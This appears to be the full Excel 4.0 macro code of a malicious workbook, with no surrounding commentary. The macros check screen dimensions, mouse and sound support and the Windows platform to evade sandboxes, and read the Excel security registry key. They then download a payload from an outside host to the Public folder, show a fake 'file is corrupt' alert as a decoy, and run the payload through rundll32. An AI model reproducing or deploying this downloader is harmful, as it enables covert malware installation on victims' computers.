=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),) =IF(GET.WORKSPACE(14)<400, CLOSE(FALSE),) =IF(GET.WORKSPACE(19),,CLOSE(TRUE)) =IF(GET.WORKSPACE(42),,CLOSE(TRUE)) =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ,CLOSE(TRUE)) =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\reg.exe","EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security c:\users\public\1.reg /y",0,5) =WAIT(NOW()+"00:00:03") =FOPEN("c:\users\public\1.reg") =FPOS(R[-1]C, 215) =FREAD(R[-2]C, 255) =FCLOSE(R[-3]C) =FILE.DELETE("c:\users\public\1.reg") =IF(ISNUMBER(SEARCH("0001",R[-3]C)),CLOSE(FALSE),) =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://amgdorie.online/avdv42g","c:\Users\Public\bug65ef.html",0,0) =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.",2) =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe","c:\Users\Public\bug65ef.html,DllRegisterServer",0,5) =CLOSE(FALSE) WORKBOOK.HIDE("tBtNRCydwb",TRUE) GOTO(R$0C$18)